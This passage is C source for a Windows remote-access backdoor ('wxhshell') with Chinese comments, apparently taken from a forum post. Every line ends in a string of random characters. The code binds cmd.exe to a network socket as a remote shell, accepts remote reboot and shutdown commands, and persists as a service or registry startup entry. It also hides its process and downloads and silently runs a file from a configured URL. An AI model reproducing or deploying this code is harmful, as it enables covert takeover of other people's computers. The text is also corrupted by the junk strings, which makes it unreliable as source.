    switch(cmd[0]) { iod%YjZu  
  ||$&o!;/L  
  // 帮助 %**f`L%jN  
  case '?': { HK@ij,px  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @]=40Yj~w  
    break; }s}g}t8v-  
  } [?!I*=*b  
  // 安装 1+x" 5<(W  
  case 'i': { A6&*VD  
    if(Install()) *pKTJP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b^1QyX^?:  
    else 2B,O/3y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &k }f"TX2  
    break; %MHb  
    } ~66xO9s  
  // 卸载 XjX  
  case 'r': { a{5SOe;;  
    if(Uninstall()) V>{< pS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @A/k"Ax{r  
    else (`P\nnb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z|l*5@p  
    break; )g0fN+Mb  
    } }r,\0Wm  
  // 显示 wxhshell 所在路径 fr@F7s5}  
  case 'p': { .|UQ)J?s  
    char svExeFile[MAX_PATH]; H];B?G';C  
    strcpy(svExeFile,"\n\r"); y>^a~}Zq  
      strcat(svExeFile,ExeFile); 'Uok<;  
        send(wsh,svExeFile,strlen(svExeFile),0); 8K 3dwoT  
    break;  T{YZ`[  
    } "W|A^@r}  
  // 重启 25^?|9o7  
  case 'b': { ahB qYA K9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }lJ;|kx$  
    if(Boot(REBOOT)) %,$n^{v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tK#R`AQ  
    else { _VtQMg|u  
    closesocket(wsh); GIC1]y-'  
    ExitThread(0); u;#]eUk9}  
    } o2 14V\  
    break; v9*m0|T0M  
    } vvoxK0  
  // 关机 0#q=-M/?`  
  case 'd': { gYpMwC{*d  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ' W/M>!X  
    if(Boot(SHUTDOWN)) c OYD N[k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .L'w/"O  
    else { Tkbao D  
    closesocket(wsh); M6Fo.eeK3  
    ExitThread(0); JKfG/z|  
    } =YO ]m<  
    break; QrZ#<{,J5  
    } FR&`R  
  // 获取shell ~Bd=]a$mj  
  case 's': { '%)R}wgV  
    CmdShell(wsh); NW3 c_]`=  
    closesocket(wsh); jN=<d q ~  
    ExitThread(0); 2ZH+fV?.  
    break; " qI99e  
  } I`>U#x*  
  // 退出 " \$^j#o  
  case 'x': { B5e9'X^ [  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .8hI ad  
    CloseIt(wsh); Ic& h8vSU  
    break; "tK%]c d-  
    } gr=h!'m  
  // 离开 }x8!{Y#cF  
  case 'q': { EeIDlm0o  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  ao(T81  
    closesocket(wsh); E+td~&x  
    WSACleanup(); 3Ob.OwA  
    exit(1); >.h:Y5  
    break; 1^ iBS  
        } jm_-f  
  } 'J|2c;M\x  
  } U=>S|>daR  
$YYWpeW '  
  // 提示信息 y(A' *G9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rg/{5f  
} lame/B&nc  
  } Z$oy;j99y  
Xtp8 ^4Va  
  return; pYO =pL^Q  
} '\Xkvi  
JAbUK[:K  
// shell模块句柄 8hRcB[F~S  
int CmdShell(SOCKET sock) O5\r%&$xd  
{ >rG>Bz^Pu  
STARTUPINFO si; ^aFm6HS1  
ZeroMemory(&si,sizeof(si)); }xZi Ct  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6( HF)z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; :t?B)  
PROCESS_INFORMATION ProcessInfo; DM.lQ0xk  
char cmdline[]="cmd"; jX53 owZ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7y=>Wa?T[  
  return 0; !^J;S%MB:K  
} =8^+M1I  
-(VJ,)8t2  
// 自身启动模式 @sXFu[!U  
int StartFromService(void) _1" ecaA  
{ 9hp&HL)BOa  
typedef struct UK`A:N2[  
{ *MF9_V)8V  
  DWORD ExitStatus; gGqrFh\  
  DWORD PebBaseAddress; ">uN={Iy  
  DWORD AffinityMask; Aoa8Q E   
  DWORD BasePriority; H`EhsYYK  
  ULONG UniqueProcessId; gY}In+S  
  ULONG InheritedFromUniqueProcessId; Hxu5Dx5![  
}   PROCESS_BASIC_INFORMATION;  :Mx  
_0/unJl`  
PROCNTQSIP NtQueryInformationProcess; Dc9uq5l  
%&ejO= r  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; cx}Yu8  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; J8|MK.oD  
"CJVtO  
  HANDLE             hProcess; j50vPV8m  
  PROCESS_BASIC_INFORMATION pbi; MJn-] E  
5'%I4@Qn+  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); K`*GZ+b|`  
  if(NULL == hInst ) return 0; ^@fD{]I  
hU)t5/h;K  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Y\xEPh  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); )XI[hVUA  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .35(MFvq!  
d\z6Ob"t  
  if (!NtQueryInformationProcess) return 0; =j7Du[?Vu  
dab]>% M  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]>3Y~KH(  
  if(!hProcess) return 0; )|gw5N4;  
6j E.X  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &OR(]Wt0  
;$p!dI\-Q  
  CloseHandle(hProcess); IUMv{2C  
Pwh}hG1s a  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); fI.|QD*$b  
if(hProcess==NULL) return 0; Y2|i>5/|<  
9#8vPjXW}.  
HMODULE hMod; )>a~%~:  
char procName[255]; 2a d|v]  
unsigned long cbNeeded; a`O'ZY  
}T5@P {3P3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +{UY9_~\3  
E^8|xT'h6  
  CloseHandle(hProcess); J}|X  
\C~X_/sg  
if(strstr(procName,"services")) return 1; // 以服务启动 CS^6$VL7e  
OVK )]- ~  
  return 0; // 注册表启动 84ij4ZYe  
} oEIpv;:_  
Rv1W&s&  
// 主模块  Y@,iDQ  
int StartWxhshell(LPSTR lpCmdLine) *V>?m6y/  
{ '%$Vmf)=  
  SOCKET wsl; vPkLG*d 8  
BOOL val=TRUE; 8ud12^s$  
  int port=0; HoI6(t  
  struct sockaddr_in door; O&!R7T  
&raqrY|V  
  if(wscfg.ws_autoins) Install(); 3%vXB=>T!  
T(|'.&a  
port=atoi(lpCmdLine); xAm tm"  
S^O9}<2g  
if(port<=0) port=wscfg.ws_port; YQ0#j'}/  
^[<BMk  
  WSADATA data; Pnytox  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; s$Vl">9#  
?v^NimcZ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   M7#!Y=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7QO/; zL  
  door.sin_family = AF_INET; NuZ2,<~9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); zB.cOMx  
  door.sin_port = htons(port); z/t|'8f  
"@ >6<(Ki  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { VL%. maj  
closesocket(wsl); fWHvVyQ.  
return 1; reu[rZ&  
} Xhe& "rM  
2z>-H595az  
  if(listen(wsl,2) == INVALID_SOCKET) { =rKJJa N  
closesocket(wsl); ybaY+![*  
return 1; yan^\)HZ  
} =\Q< TY  
  Wxhshell(wsl); "vGh/sXW  
  WSACleanup(); MA .;=T  
U>tR:)  
return 0; D e&,^"%  
"GMU~594  
} ly[yn{  
~ l}f@@u  
// 以NT服务方式启动 !y_FbJ8KC  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  : (UK'i  
{ *aErwGLB8  
DWORD   status = 0; M9)4ihK  
  DWORD   specificError = 0xfffffff; Wf c/?{  
v[L+PD U  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 0C zQel)L:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; TdFU,  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; I Q_6DF  
  serviceStatus.dwWin32ExitCode     = 0; ; Y/nS  
  serviceStatus.dwServiceSpecificExitCode = 0; j!+jLm!l  
  serviceStatus.dwCheckPoint       = 0; %q5dV<X'c  
  serviceStatus.dwWaitHint       = 0; [,;Y5#Y[5  
!*]i3 ,{7v  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4DL;Y  
  if (hServiceStatusHandle==0) return; 7hJX  
yaz6?,)  
status = GetLastError(); Yxq!7J  
  if (status!=NO_ERROR) ~n=DI/AJ@-  
{ kcS7)"/ zC  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; i1evB9FZ1z  
    serviceStatus.dwCheckPoint       = 0; $J1`.Q>)4  
    serviceStatus.dwWaitHint       = 0; ky2]%cw  
    serviceStatus.dwWin32ExitCode     = status; 8 063LWV  
    serviceStatus.dwServiceSpecificExitCode = specificError; rrL.Y&DTK  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); b1Vr>:sK47  
    return; 4,y7a=qf3  
  } f*%kHfaXgN  
Fz#@[1,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >0HH#JW  
  serviceStatus.dwCheckPoint       = 0; /&Q{B f  
  serviceStatus.dwWaitHint       = 0; AJyN lQ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); |z)s9B;:#i  
} /3s&??{tv  
T0 K!Msz  
// 处理NT服务事件,比如:启动、停止 2^[dy>[y0  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {aAd (~YZ  
{ 1ksFxpE  
switch(fdwControl) b8d0]YS  
{ q,Gymh;  
case SERVICE_CONTROL_STOP: puPI ^6y%  
  serviceStatus.dwWin32ExitCode = 0; 97liSd  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; dWz?`B{'  
  serviceStatus.dwCheckPoint   = 0; [}szM^  
  serviceStatus.dwWaitHint     = 0; jPSVVOG  
  { \2@J^O1,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .wNXvnWr  
  } pU_3Z3CeE  
  return; $0$sM/%  
case SERVICE_CONTROL_PAUSE: 0AHQ(+Ap  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; tV !?Ol  
  break; FKO2UY#&7  
case SERVICE_CONTROL_CONTINUE: K]|UdNo  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; oU|G74e6  
  break; V'9.l6l   
case SERVICE_CONTROL_INTERROGATE: 4Y(@ KUb  
  break; iC3z5_g*@  
}; &tH?m;V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +/[M Ex=   
} !( lcUdBd  
Zv!`R($  
// 标准应用程序主函数 ` <1Wf  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) i"&FW&W  
{ <Y k i8  
4Ly>x>b<  
// 获取操作系统版本 >'4A[$$4mM  
OsIsNt=GetOsVer(); Ki><~!L  
GetModuleFileName(NULL,ExeFile,MAX_PATH); r w!jmvHE&  
ZWkRoJXNi  
  // 从命令行安装 ko9}?qs  
  if(strpbrk(lpCmdLine,"iI")) Install(); "{~5QO   
CH6 m  
  // 下载执行文件 ? xR7Ii3  
if(wscfg.ws_downexe) { ^m z9sV  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) M v6 ^('  
  WinExec(wscfg.ws_filenam,SW_HIDE); * zp tbZ  
} d-b04Q7DQ  
K/W=r  
if(!OsIsNt) { +gd5&  
// 如果时win9x,隐藏进程并且设置为注册表启动 t"$~o:U&)  
HideProc(); X,Na4~JO(  
StartWxhshell(lpCmdLine); w0!$ow.l  
} %>FtA)  
else CM?:\$ 4  
  if(StartFromService()) ! AwMD  
  // 以服务方式启动 -'Z Gc8)  
  StartServiceCtrlDispatcher(DispatchTable); `n$Ak5f  
else s#Dj>Fej  
  // 普通方式启动 r,;ca6>5H  
  StartWxhshell(lpCmdLine); ) lUS'I  
8n3]AOc'~-  
return 0; E7$&:xqx  
}
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只看该作者 1 发表于: 2006-10-10
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